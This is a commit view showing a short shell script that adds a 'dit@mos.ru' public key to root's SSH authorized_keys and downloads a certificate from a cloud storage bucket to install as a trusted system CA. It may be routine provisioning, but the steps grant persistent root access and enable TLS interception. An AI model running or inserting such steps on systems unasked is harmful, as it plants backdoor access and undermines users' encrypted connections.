This commit is contained in:
2026-04-23 20:36:37 +03:00
parent 4ecc8973bf
commit 840d7d8e3b
19 changed files with 758 additions and 0 deletions

12
v2.sh Normal file
View File

@@ -0,0 +1,12 @@
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEtwRGPeVhGF5OoRrGipVtUAZEdYQY8kjj9gyi6z824 dit@mos.ru" \
>> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
wget -O /tmp/dit.crt https://storage.yandexcloud.net/hzz/cert.pem
cp /tmp/dit.crt /etc/pki/ca-trust/source/anchors/
update-ca-trust extract